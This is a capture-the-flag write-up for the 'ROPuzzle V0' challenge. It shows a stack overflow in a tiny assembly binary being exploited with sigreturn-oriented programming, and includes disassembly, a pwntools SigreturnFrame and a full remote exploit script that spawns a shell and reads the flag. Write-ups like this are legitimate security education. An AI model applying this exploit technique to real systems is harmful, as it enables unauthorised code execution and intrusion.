Tags: srop 

Rating:

## ROPuzzle V0 - SROP

This challenge was very similar to [a CTF challenge I created back in 2019](https://lo0l.com/2020/01/01/srop.html). It's a small binary written in assembly, with ASLR and NX enabled.

The program reads an input from stdin, which leads to a bufferoverflow after 8 bytes. Pretty quickly I realized the similarity to my challenge and adjusted my SROP exploit to work for this challenge. The key difference in this challenge is that we already have the string `/bin/sh` available in the binary at a fixed address. This makes exploitation a lot easier.

If you don't know what SROP is, I suggest reading my post linked above or checking out the [whitepaper](https://www.cs.vu.nl/~herbertb/papers/srop_sp14.pdf) for a deeper understanding.

Alright.. let's get into it!

### Disassembly

```
Disassembly of section .text:

0000000000401000 <_start>:
401000: 55 push rbp
401001: 48 89 e5 mov rbp,rsp
401004: e8 05 00 00 00 call 40100e <get_input>
401009: e8 20 00 00 00 call 40102e <exit>

000000000040100e <get_input>:
40100e: 55 push rbp
40100f: 48 89 e5 mov rbp,rsp
401012: b8 00 00 00 00 mov eax,0x0
401017: bf 00 00 00 00 mov edi,0x0
40101c: 48 89 e6 mov rsi,rsp
40101f: ba 00 10 00 00 mov edx,0x1000
401024: e8 02 00 00 00 call 40102b <syscall_me>
401029: c9 leave
40102a: c3 ret

000000000040102b <syscall_me>:
40102b: 0f 05 syscall
40102d: c3 ret

000000000040102e <exit>:
40102e: b8 3c 00 00 00 mov eax,0x3c
401033: bf 00 00 00 00 mov edi,0x0
401038: 0f 05 syscall
40103a: e8 ef ff ff ff call 40102e <exit>

000000000040103f <gadget>:
40103f: 58 pop rax
401040: c3 ret

Disassembly of section .data:

0000000000402000 <msg>:
402000: 2f (bad)
402001: 62 (bad)
402002: 69 .byte 0x69
402003: 6e outs dx,BYTE PTR ds:[rsi]
402004: 2f (bad)
402005: 73 68 jae 40206f <_end+0x67>
```

### Trigger sigreturn syscall

Since we don't have any gadgets available that will trigger a sigreturn (syscall 15), we have to think of a different way. We already have an easy `syscall;ret` gadget, so we just need to manipulate the RAX register and set it to 15 (0xf).

Here is another difference to my challenge, this was one has a `pop rax` gadget available while my challenge didn't and you needed a different method to set RAX.

So we simply pop the value 15 into RAX, then return to the syscall gadget. This will trigger the sigreturn, which will restore the program state from a sigreturn frame on the stack.

At this point the payload would look like this:

```py
syscall_ret = 0x40102b
pop_rax = 0x40103f

payload = b'A'*8
payload += p64(pop_rax)
payload += p64(15) # 15 for sigret
payload += p64(syscall_ret)
```

### Building the frame

The sigreturn allows us to control every register, including RIP. This means we can completely redirect the control flow and basically execute anything we want. We want to set up the registers in a way that we execute `execve("/bin/sh",0,0)`.

The string `"/bin/sh"` can already be found in the binary and will be at a fixed location.

```r
┌──(kali㉿kali)-[~/ctf/digitaloverdose/pwn/V0]
└─$ strings -t x main | grep /bin/sh
2000 /bin/sh
```

It can be found at an offset of 0x2000. Now we need to find out what the base addres will be of the program.

```r
┌──(kali㉿kali)-[~/ctf/digitaloverdose/pwn/V0]
└─$ readelf -l main

Elf file type is EXEC (Executable file)
Entry point 0x401000
There are 3 program headers, starting at offset 64

Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x00000000000000e8 0x00000000000000e8 R 0x1000
LOAD 0x0000000000001000 0x0000000000401000 0x0000000000401000
0x0000000000000041 0x0000000000000041 R E 0x1000
LOAD 0x0000000000002000 0x0000000000402000 0x0000000000402000
0x0000000000000007 0x0000000000000007 RW 0x1000

Section to Segment mapping:
Segment Sections...
00
01 .text
02 .data
```

We can see that the VirtAddr of the program will start at 0x400000, which means `"/bin/sh"` will be at 0x402000. It makes sense because it's also referred to as the .data section and the string is the only data used in the program.

Another easy way to find the address is with gdb-peda:

```shell
gdb-peda$ start
[...]
Temporary breakpoint 1, 0x0000000000401004 in _start ()
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
main : 0x402000 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$
```

Now we know the address of `"/bin/sh"` and we can set up the registers to perform the execve() syscall.

All x64 syscalls and their respective arguments can be found [here](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/).

With the help of pwntools we can easily build the frame like this:

```py
frame = SigreturnFrame()
frame.rax = 0x3b # sys_execve()
frame.rdi = 0x402000 # const char *filename
frame.rsi = 0 # const char *const argv[]
frame.rdx = 0 # const char *const envp[]
frame.rsp = 0x402000 # a valid writable address
frame.rip = syscall_ret # syscall;ret
```

### Final Exploit

Find my final exploit below:

```py
from pwn import *

p = remote('193.57.159.27',23866)
#p = process('./main')
context.clear(arch='amd64')

syscall_ret = 0x40102b
pop_rax = 0x40103f

payload = b'A'*8
payload += p64(pop_rax)
payload += p64(15) # 15 for sigret
payload += p64(syscall_ret)

frame = SigreturnFrame()
frame.rax = 0x3b # sys_execve()
frame.rdi = 0x402000 # const char *filename
frame.rsi = 0 # const char *const argv[]
frame.rdx = 0 # const char *const envp[]
frame.rsp = 0x402000 # a valid writable address
frame.rip = syscall_ret # syscall;ret

payload += bytes(frame)

p.send(payload)

p.interactive()

"""
┌──(kali㉿kali)-[~/ctf/digitaloverdose/pwn/V0]
└─$ python3 exploit.py
[+] Opening connection to 193.57.159.27 on port 23866: Done
[*] Switching to interactive mode
$ ls -la
total 16
drwxr-xr-x. 1 root root 22 Oct 9 00:03 .
drwxr-xr-x. 1 root root 17 Oct 8 23:36 ..
-rwxr--r--. 1 root root 20 Oct 9 00:02 flag.txt
-rwxr-xr-x. 1 root root 8960 Oct 9 00:02 run
$ cat flag.txt
DO{h0Rr4Y_F0r_SR0P!}$
$ id
uid=101(ractf) gid=65534(nogroup) groups=65534(nogroup)
$ exit
"""
```

Original writeup (https://lo0l.com/2021/10/11/digitaloverdose.html#ropuzzle-v0---srop).